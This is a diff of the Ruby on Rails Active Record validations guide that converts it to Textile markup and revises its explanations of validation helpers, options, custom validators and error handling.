-* Using validation directly in your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the ability to easily create validations, providing built-in helpers for common validations while still allowing you to create your own validation methods.
+Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture.
 
-=== When Does Validation Happen?
+h4. Why Use Validations?
+
+Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address
+
+There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations.
+
+* Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.
+* Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using Javascript, they may be bypassed if Javascript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.
+* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to "keep your controllers skinny":http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model, as it will make your application a pleasure to work with in the long run.
+* Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well. 
+
+h4. When Does Validation Happen?
 
 There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Person < ActiveRecord::Base
 end
-------------------------------------------------------------------
+
 
 We can see how it works by looking at some script/console output:
 
-------------------------------------------------------------------
->> p = Person.new(:name => "John Doe", :birthdate => Date.parse("09/03/1979"))
-=> #
+
+>> p = Person.new(:name => "John Doe")
+=> #
 >> p.new_record?
 => true
 >> p.save
 => true
 >> p.new_record?
 => false
-------------------------------------------------------------------
+
 
-Saving new records means sending an SQL +INSERT+ operation to the database, while saving existing records (by calling either +save+ or +update_attributes+) will result in a SQL +UPDATE+ operation. Active Record will use these facts to perform validations upon your objects, keeping them out of the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one.
+Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not trigger the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an object in the database that's invalid. You can choose to have specific validations run when an object is created, saved, or updated.
 
-CAUTION: There are four methods that when called will trigger validation: +save+, +save!+, +update_attributes+ and +update_attributes!+. There is one update method for Active Record objects left, which is +update_attribute+. This method will update the value of an attribute _without_ triggering any validation. Be careful when using +update_attribute+, because it can let you save your objects in an invalid state.
+CAUTION: There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it's possible to save an object in the database in an invalid state if you aren't careful.
 
-=== The Meaning of +valid+
+The following methods trigger validations, and will save the object to the database only if the object is valid. The bang versions (e.g. +save!+) will raise an exception if the record is invalid. The non-bang versions (e.g. +save+) simply return +false+.
 
-To verify whether an object is valid, Active Record uses the +valid?+ method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the +errors+ instance method. The process is really simple: If the +errors+ method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the +errors+ collection.
+* +create+
+* +create!+
+* +save+
+* +save!+
+* +update+
+* +update_attributes+
+* +update_attributes!+
 
-== The Declarative Validation Helpers
+h4. Skipping Validations
 
-Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validation rules that are commonly used. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated. 
+The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution.
+
+* +decrement!+
+* +decrement_counter+
+* +increment!+
+* +increment_counter+
+* +toggle!+
+* +update_all+
+* +update_attribute+
+* +update_counters+
+
+Note that +save+ also has the ability to skip validations (and callbacks!) if passed +false+. This technique should be used with caution.
+
+* +save(false)+
+
+h4. Object#valid? and Object#invalid?
+
+To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were added to the object, and false otherwise.
+
+
+class Person < ActiveRecord::Base
+  validates_presence_of :name
+end
+
+Person.create(:name => "John Doe").valid? # => true
+Person.create(:name => nil).valid? # => false
+
+
+When Active Record is performing validations, any errors found are collected into an +errors+ instance variable and can be accessed through an +errors+ instance method. An object is considered invalid if it has errors, and calling +save+ or +save!+ will not save it to the database.
+
+Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+.
+
+
+class Person < ActiveRecord::Base
+  validates_presence_of :name
+end
+
+>> p = Person.new
+=> #
+>> p.errors
+=> #
+  
+>> p.valid?
+=> false
+>> p.errors
+=> #["can't be blank"]}>
+
+>> p = Person.create
+=> #
+>> p.errors
+=> #["can't be blank"]}>
+  
+>> p.save
+=> false
+
+>> p.save!
+=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+>> Person.create!
+=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+
+To verify whether or not a particular attribute of an object is valid, you can use the +invalid?+ method. This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the +valid?+ method because it doesn't verify the validity of the object as a whole, but only if there are errors found on an individual attribute of the object.
+
+
+class Person < ActiveRecord::Base
+  validates_presence_of :name
+end
+
+>> Person.new.errors.invalid?(:name) # => false
+>> Person.create.errors.invalid?(:name) # => true
+
+
+We'll cover validation errors in greater depth in the *Working with Validation Errors* section. For now, let's turn to the built-in validation helpers that Rails provides by default.
+
+h3. Validation Helpers
+
+Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validation rules that are commonly used. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated.
 
 Each helper accepts an arbitrary number of attributes identified by symbols, so with a single line of code you can add the same kind of validation to several attributes.
 
 All these helpers accept the +:on+ and +:message+ options, which define when the validation should be applied and what message should be added to the +errors+ collection when it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+  or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't used. Let's take a look at each one of the available helpers.
 
-=== The +validates_acceptance_of+ helper
+h4. validates_acceptance_of
 
 Validates that a checkbox on the user interface was checked when a form was submitted. This is normally used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and actually this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Person < ActiveRecord::Base
   validates_acceptance_of :terms_of_service
 end
-------------------------------------------------------------------
+
 
 The default error message for +validates_acceptance_of+ is "_must be accepted_"
 
 +validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change this.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Person < ActiveRecord::Base
   validates_acceptance_of :terms_of_service, :accept => 'yes'
 end
-------------------------------------------------------------------
+
 
-=== The +validates_associated+ helper
+h4. validates_associated
 
 You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
 
-[source, ruby]     
-------------------------------------------------------------------
+
 class Library < ActiveRecord::Base
   has_many :books
   validates_associated :books
 end
-------------------------------------------------------------------
+
 
 This validation will work with all the association types.
 
@@ -105,127 +193,119 @@ CAUTION: Don't use +validates_associated+ on both ends of your associations, bec
 
 The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model.
 
-=== The +validates_confirmation_of+ helper
+h4. validates_confirmation_of
 
 You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with '_confirmation' appended.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Person < ActiveRecord::Base
   validates_confirmation_of :email
 end
-------------------------------------------------------------------
+
 
 In your view template you could use something like
-[source, html]
-------------------------------------------------------------------
+
+
 <%= text_field :person, :email %>
 <%= text_field :person, :email_confirmation %>
-------------------------------------------------------------------
+
 
 NOTE: This check is performed only if +email_confirmation+ is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +validates_presence_of+ later on this guide):
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Person < ActiveRecord::Base
   validates_confirmation_of :email
   validates_presence_of :email_confirmation
 end
-------------------------------------------------------------------
+
 
 The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_"
 
-=== The +validates_exclusion_of+ helper
+h4. validates_exclusion_of
 
 This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class MovieFile < ActiveRecord::Base
-  validates_exclusion_of :format, :in => %w(mov avi), 
+  validates_exclusion_of :format, :in => %w(mov avi),
     :message => "Extension %s is not allowed"
 end
-------------------------------------------------------------------
+
 
 The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+  that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can personalize it with the current attribute's value, through the +%s+ format mask.
 
 The default error message for +validates_exclusion_of+  is "_is not included in the list_".
 
-=== The +validates_format_of+ helper
+h4. validates_format_of
 
 This helper validates the attributes' values by testing whether they match a given pattern. This pattern must be specified using a Ruby regular expression, which is specified using the +:with+ option.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Product < ActiveRecord::Base
-  validates_format_of :description, :with => /^[a-zA-Z]+$/, 
+  validates_format_of :description, :with => /^[a-zA-Z]+$/,
     :message => "Only letters allowed"
 end
-------------------------------------------------------------------
+
 
 The default error message for +validates_format_of+ is "_is invalid_".
 
-=== The +validates_inclusion_of+ helper
+h4. validates_inclusion_of
 
 This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Coffee < ActiveRecord::Base
-  validates_inclusion_of :size, :in => %w(small medium large), 
+  validates_inclusion_of :size, :in => %w(small medium large),
     :message => "%s is not a valid size"
 end
-------------------------------------------------------------------
+
 
 The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can personalize it with the current attribute's value, through the +%s+ format mask.
 
 The default error message for +validates_inclusion_of+  is "_is not included in the list_".
 
-=== The +validates_length_of+ helper
+h4. validates_length_of
 
 This helper validates the length of your attribute's value. It includes a variety of different options, so you can specify length constraints in different ways:
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Person < ActiveRecord::Base
   validates_length_of :name, :minimum => 2
   validates_length_of :bio, :maximum => 500
   validates_length_of :password, :in => 6..20
   validates_length_of :registration_number, :is => 6
 end
-------------------------------------------------------------------
+
 
 The possible length constraint options are:
 
 * +:minimum+ - The attribute cannot have less than the specified length.
 * +:maximum+ - The attribute cannot have more than the specified length.
-* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a Ruby range. 
+* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a Ruby range.
 * +:is+ - The attribute length must be equal to a given value.
 
 The default error messages depend on the type of length validation being performed. You can personalize these messages, using the +:wrong_length+, +:too_long+ and +:too_short+ options and the +%d+ format mask as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Person < ActiveRecord::Base
   validates_length_of :bio, :too_long => "you're writing too much. %d characters is the maximum allowed."
 end
-------------------------------------------------------------------
+
 
 The +validates_size_of+ helper is an alias for +validates_length_of+.
 
-=== The +validates_numericality_of+ helper
+h4. validates_numericality_of
 
 This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the +:integer_only+ option set to true, you can specify that only integral numbers are allowed.
 
 If you set +:integer_only+ to +true+, then it will use the +$$/\A[+\-]?\d+\Z/+ regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Kernel.Float+.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Player < ActiveRecord::Base
   validates_numericality_of :points
   validates_numericality_of :games_played, :only_integer => true
 end
-------------------------------------------------------------------
+
 
 Besides +:only_integer+, the +validates_numericality_of+ helper also accepts the following options to add constraints to acceptable values:
 
@@ -237,203 +317,192 @@ Besides +:only_integer+, the +validates_numericality_of+ helper also accepts the
 * +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_"
 * +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_"
 
-
 The default error message for +validates_numericality_of+ is "_is not a number_".
 
-=== The +validates_presence_of+ helper
+h4. validates_presence_of
 
-This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or an empty string (if the string has only spaces, it will still be considered empty). 
+This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or an empty string (if the string has only spaces, it will still be considered empty).
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Person < ActiveRecord::Base
   validates_presence_of :name, :login, :email
 end
-------------------------------------------------------------------
+
 
-NOTE: If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself.
+If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class LineItem < ActiveRecord::Base
   belongs_to :order
   validates_presence_of :order_id
 end
-------------------------------------------------------------------
+
 
-NOTE: If you want to validate the presence of a boolean field (where the real values are true and false), you should use validates_inclusion_of :field_name, :in => [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # => true 
+If you want to validate the presence of a boolean field (where the real values are true and false), you should use +validates_inclusion_of :field_name, :in => [true, false]+. This is due to the way that +Object#blank?+ handles boolean values (+false.blank? # => true+).
 
 The default error message for +validates_presence_of+ is "_can't be empty_".
 
-=== The +validates_uniqueness_of+ helper
+h4. validates_uniqueness_of
 
 This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create an unique index in your database.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Account < ActiveRecord::Base
   validates_uniqueness_of :email
 end
-------------------------------------------------------------------
+
 
 The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.
 
 There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check:
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Holiday < ActiveRecord::Base
-  validates_uniqueness_of :name, :scope => :year, 
+  validates_uniqueness_of :name, :scope => :year,
     :message => "Should happen once per year"
 end
-------------------------------------------------------------------
+
 
 There is also a +:case_sensitive+ option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Person < ActiveRecord::Base
   validates_uniqueness_of :name, :case_sensitive => false
 end
-------------------------------------------------------------------
+
 
 The default error message for +validates_uniqueness_of+ is "_has already been taken_".
 
-=== The +validates_each+ helper
+h4. validates_each
 
 This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Person < ActiveRecord::Base
   validates_each :name, :surname do |model, attr, value|
     model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/
   end
 end
-------------------------------------------------------------------
+
 
 The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid.
 
-== Common Validation Options
+h3. Common Validation Options
 
 There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which are discussed later in the conditional validation topic.
 
-=== The +:allow_nil+ option
+h4. :allow_nil
 
 The +:allow_nil+ option skips the validation when the value being validated is +nil+. You may be asking yourself if it makes any sense to use +:allow_nil+ and +validates_presence_of+ together. Well, it does. Remember, the validation will be skipped only for +nil+ attributes, but empty strings are not considered +nil+.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Coffee < ActiveRecord::Base
-  validates_inclusion_of :size, :in => %w(small medium large), 
+  validates_inclusion_of :size, :in => %w(small medium large),
     :message => "%s is not a valid size", :allow_nil => true
 end
-------------------------------------------------------------------
+
 
-=== The +:allow_blank+ option
+h4. :allow_blank
 
-The +:allow_blank: option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +nil+ or an empty string, i.e., any value that returns +true+ for +blank?+.
+The +:allow_blank+ option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +nil+ or an empty string, i.e., any value that returns +true+ for +blank?+.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Topic < ActiveRecord::Base
   validates_length_of :title, :is => 5, :allow_blank => true
 end
 
 Topic.create("title" => "").valid? # => true
 Topic.create("title" => nil).valid? # => true
-------------------------------------------------------------------
+
 
-=== The +:message+ option
+h4. :message
 
 As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper, together with the attribute name.
 
-=== The +:on+ option
+h4. :on
 
-The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on =$$>$$ :create+ to run the validation only when a new record is created or +:on =$$>$$ :update+ to run the validation only when a record is updated.
+The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on => :create+ to run the validation only when a new record is created or +:on => :update+ to run the validation only when a record is updated.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Person < ActiveRecord::Base
   # => it will be possible to update email with a duplicated value
-  validates_uniqueness_of :email, :on => :create 
-  
-  # => it will be possible to create the record with a 'non-numerical age'
-  validates_numericality_of :age, :on => :update 
-  
-  # => the default (validates on both create and update)
-  validates_presence_of :name, :on => :save 
-end
-------------------------------------------------------------------
+  validates_uniqueness_of :email, :on => :create
 
-== Conditional validation
+  # => it will be possible to create the record with a 'non-numerical age'
+  validates_numericality_of :age, :on => :update
+
+  # => the default (validates on both create and update)
+  validates_presence_of :name, :on => :save
+end
+
+
+h3. Conditional Validation
 
 Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a Ruby Proc. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option.
 
-=== Using a symbol with the +:if+ and +:unless+ options
+h4. Using a Symbol with :if and :unless
 
 You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Order < ActiveRecord::Base
   validates_presence_of :card_number, :if => :paid_with_card?
-  
+
   def paid_with_card?
     payment_type == "card"
   end
 end
-------------------------------------------------------------------
+
 
-=== Using a string with the +:if+ and +:unless+ options
+h4. Using a String with :if and :unless
 
 You can also use a string that will be evaluated using +:eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Person < ActiveRecord::Base
   validates_presence_of :surname, :if => "name.nil?"
 end
-------------------------------------------------------------------
+
 
-=== Using a Proc object with the +:if+ and :+unless+ options
+h4. Using a Proc with :if and :unless
 
-Finally, it's possible to associate +:if+ and +:unless+ with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.
+Finally, it's possible to associate +:if+ and +:unless+ with a Ruby Proc object which will be called. Using a Proc object can give you the ability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Account < ActiveRecord::Base
-  validates_confirmation_of :password, 
+  validates_confirmation_of :password,
     :unless => Proc.new { |a| a.password.blank? }
 end
-------------------------------------------------------------------
+
 
-== Writing your own validation methods
+h3. Creating Custom Validation Methods
 
-When the built-in validation helpers are not enough for your needs, you can write your own validation methods. You can do that by implementing methods that verify the state of your models and add messages to their +errors+ collection when they are invalid. You must then register those methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be ran in the same order as they were registered.
+When the built-in validation helpers are not enough for your needs, you can write your own validation methods. 
 
-[source, ruby]
-------------------------------------------------------------------
+Simply create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. 
+
+You can pass more than one symbol for each class method and the respective validations will be ran in the same order as they were registered.
+
+
 class Invoice < ActiveRecord::Base
-  validate :expiration_date_cannot_be_in_the_past, 
+  validate :expiration_date_cannot_be_in_the_past,
     :discount_cannot_be_more_than_total_value
 
   def expiration_date_cannot_be_in_the_past
-    errors.add(:expiration_date, "can't be in the past") if 
+    errors.add(:expiration_date, "can't be in the past") if
       !expiration_date.blank? and expiration_date < Date.today
-  end  
-  
+  end
+
   def discount_cannot_be_greater_than_total_value
-    errors.add(:discount, "can't be greater than total value") unless 
+    errors.add(:discount, "can't be greater than total value") unless
       discount <= total_value
   end
 end
-------------------------------------------------------------------
+
 
 You can even create your own validation helpers and reuse them in several different models. Here is an example where we create a custom validation helper to validate the format of fields that represent email addresses:
 
-[source, ruby]
-------------------------------------------------------------------
+
 module ActiveRecord
   module Validations
     module ClassMethods
@@ -446,59 +515,59 @@ module ActiveRecord
     end
   end
 end
-------------------------------------------------------------------
+
 
-The recipe is simple: just create a new validation method inside the +ActiveRecord::Validations::ClassMethods+ module. You can put this code in a file inside your application's *lib* folder, and then requiring it from your *environment.rb* or any other file inside *config/initializers*. You can use this helper like this:
+Simply create a new validation method inside the +ActiveRecord::Validations::ClassMethods+ module. You can put this code in a file inside your application's *lib* folder, and then requiring it from your *environment.rb* or any other file inside *config/initializers*. You can use this helper like this:
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Person < ActiveRecord::Base
   validates_email_format_of :email_address
 end
-------------------------------------------------------------------
+
 
-== Manipulating the +errors+ collection
+h3. Working with Validation Errors
 
-You can do more than just call +valid?+ upon your objects based on the existance of the +errors+ collection. Here is a list of the other available methods that you can use to manipulate errors or ask for an object's state.
+In addition to the +valid?+ and +invalid?+ methods covered earlier, Rails provides a number of methods for working with the +errors+ collection and inquiring about the validity of objects. 
 
-* +add_to_base+ lets you add errors messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of it's attributes. +add_to_base+ receives a string with the message.
+The following is a list of the most commonly used methods. Please refer to the ActiveRecord::Errors documentation for an exhaustive list that covers all of the available methods.
 
-[source, ruby]
-------------------------------------------------------------------
+h4. errors.add_to_base
+
++add_to_base+ lets you add errors messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of it's attributes. +add_to_base+ simply receives a string and uses this as the error message.
+
+
 class Person < ActiveRecord::Base
   def a_method_used_for_validation_purposes
     errors.add_to_base("This person is invalid because ...")
   end
 end
-------------------------------------------------------------------
+
 
-* +add+ lets you manually add messages that are related to particular attributes. When writing those messages, keep in mind that Rails will prepend them with the name of the attribute that holds the error, so write it in a way that makes sense. +add+ receives a symbol with the name of the attribute that you want to add the message to and the message itself.
+h4. errors.add
 
-[source, ruby]
-------------------------------------------------------------------
++add+ lets you manually add messages that are related to particular attributes. Note that Rails will prepend the name of the attribute to the error message you pass it. You can use the +full_messages+ method to view the messages in the form they might be displayed to a user. +add+ receives a symbol with the name of the attribute that you want to add the message to, and the message itself.
+
+
 class Person < ActiveRecord::Base
   def a_method_used_for_validation_purposes
-    errors.add(:name, "can't have the characters !@#$%*()_-+=")
+    errors.add(:name, "cannot contain the characters !@#$%*()_-+=")
   end
 end
-------------------------------------------------------------------
 
-* +invalid?+ is used when you want to check if a particular attribute is invalid. It receives a symbol with the name of the attribute that you want to check.
+person = Person.create(:name => "!@#$")
 
-[source, ruby]
-------------------------------------------------------------------
-class Person < ActiveRecord::Base
-  validates_presence_of :name, :email
-end
+person.errors.on(:name)
+# => "is too short (minimum is 3 characters)"
 
-person = Person.new(:name => "John Doe")
-person.invalid?(:email) # => true
-------------------------------------------------------------------
+person.errors.full_messages
+# => ["Name is too short (minimum is 3 characters)"]
+
 
-* +on+ is used when you want to check the error messages for a specific attribute. It will return different kinds of objects depending on the state of the +errors+ collection for the given attribute. If there are no errors related to the attribute, +on+ will return +nil+. If there is just one errors message for this attribute, +on+ will return a string with the message. When +errors+ holds two or more error messages for the attribute, +on+ will return an array of strings, each one with one error message.
+h4. errors.on
 
-[source, ruby]
-------------------------------------------------------------------
++on+ is used when you want to check the error messages for a specific attribute. It will return different kinds of objects depending on the state of the +errors+ collection for the given attribute. If there are no errors related to the attribute, +on+ will return +nil+. If there is just one errors message for this attribute, +on+ will return a string with the message. When +errors+ holds two or more error messages for the attribute, +on+ will return an array of strings, each one with one error message.
+
+
 class Person < ActiveRecord::Base
   validates_presence_of :name
   validates_length_of :name, :minimum => 3
@@ -510,19 +579,20 @@ person.errors.on(:name) # => nil
 
 person = Person.new(:name => "JD")
 person.valid? # => false
-person.errors.on(:name) 
+person.errors.on(:name)
 # => "is too short (minimum is 3 characters)"
 
 person = Person.new
 person.valid? # => false
 person.errors.on(:name)
 # => ["can't be blank", "is too short (minimum is 3 characters)"]
-------------------------------------------------------------------
+
 
-* +clear+ is used when you intentionally want to clear all the messages in the +errors+ collection. However, calling +errors.clear+ upon an invalid object won't make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run. If any of them fails, the +errors+ collection will get filled again.
+h4. errors.clear
 
-[source, ruby]
-------------------------------------------------------------------
++clear+ is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again.
+
+
 class Person < ActiveRecord::Base
   validates_presence_of :name
   validates_length_of :name, :minimum => 3
@@ -530,29 +600,49 @@ end
 
 person = Person.new
 person.valid? # => false
-person.errors.on(:name) 
+person.errors.on(:name)
 # => ["can't be blank", "is too short (minimum is 3 characters)"]
 
 person.errors.clear
-person.errors.empty? # => true  
+person.errors.empty? # => true
+
 p.save # => false
+
 p.errors.on(:name)
 # => ["can't be blank", "is too short (minimum is 3 characters)"]
-------------------------------------------------------------------
+
 
-== Using the +errors+ collection in your view templates
+h4. errors.size
 
-Rails provides built-in helpers to display the error messages of your models in your view templates. When creating a form with the form_for helper, you can use the error_messages method on the form builder to render all failed validation messages for the current model instance.
++size+ returns the total number of errors added. Two errors added to the same object will be counted as such. 
 
-[source, ruby]
-------------------------------------------------------------------
+
+class Person < ActiveRecord::Base
+  validates_presence_of :name
+  validates_length_of :name, :minimum => 3
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.size # => 2
+
+
+h3. Displaying Validation Errors in the View
+
+Rails provides built-in helpers to display the error messages of your models in your view templates. 
+
+h4. error_messages and error_messages_for
+
+When creating a form with the form_for helper, you can use the error_messages method on the form builder to render all failed validation messages for the current model instance.
+
+
 class Product < ActiveRecord::Base
   validates_presence_of :description, :value
   validates_numericality_of :value, :allow_nil => true
 end
-------------------------------------------------------------------
+
 
-------------------------------------------------------------------
+
 <% form_for(@product) do |f| %>
   <%= f.error_messages %>
   

@@ -567,46 +657,49 @@ end
     <%= f.submit "Create" %>
   

 <% end %>
-------------------------------------------------------------------
+
 
-image::images/error_messages.png[Error messages]
+!images/error_messages.png(Error messages)!
 
 You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result.
 
-------------------------------------------------------------------
+
 <%= error_messages_for :product %>
-------------------------------------------------------------------
+
 
 The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.
 
 Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header.
 
-------------------------------------------------------------------
+
 <%= f.error_messages :header_message => "Invalid product!",
   :message => "You'll need to fix the following fields:",
   :header_tag => :h3 %>
-------------------------------------------------------------------
+
 
 Which results in the following content
 
-image::images/customized_error_messages.png[Customized error messages]
+!images/customized_error_messages.png(Customized error messages)!
 
 If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+.
 
+h4. Customizing the Error Messages CSS
+
 It's also possible to change the CSS classes used by the +error_messages+ helper. These classes are automatically defined at the *scaffold.css* file, generated by the scaffold script. If you're not using scaffolding, you can still define those CSS classes at your CSS files. Here is a list of the default CSS classes.
 
 * +.fieldWithErrors+ - Style for the form fields with errors.
 * +#errorExplanation+ - Style for the +div+ element with the error messages.
-* +#errorExplanation h2+ - Style for the header of the +div+ element. 
+* +#errorExplanation h2+ - Style for the header of the +div+ element.
